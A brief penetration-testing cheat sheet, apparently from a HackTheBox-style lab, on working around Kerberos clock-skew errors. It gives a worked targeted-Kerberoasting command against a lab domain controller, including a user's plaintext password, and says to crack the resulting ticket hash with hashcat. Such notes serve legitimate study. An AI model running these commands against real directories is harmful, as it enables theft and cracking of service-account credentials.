Kerberos & Clock Skew
Fixing "Clock Skew Too Great"
sudo ntpdate <IP>
or
sudo timedatectl set-ntp off
sudo rdate -n <target IP>
or wrap the command with faketime:
faketime "$(ntpdate -q <IP> | cut -d ' ' -f 1,2)" <command>
Example (targeted Kerberoast through faketime):
faketime "$(ntpdate -q 10.129.15.73 | cut -d ' ' -f 1,2)" ~/tools/AD/targetedKerberoast.py -v -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --dc-ip 10.129.15.73
Output is a $krb5tgs$23$*user$REALM$spn*$... hash, crack with hashcat mode 13100.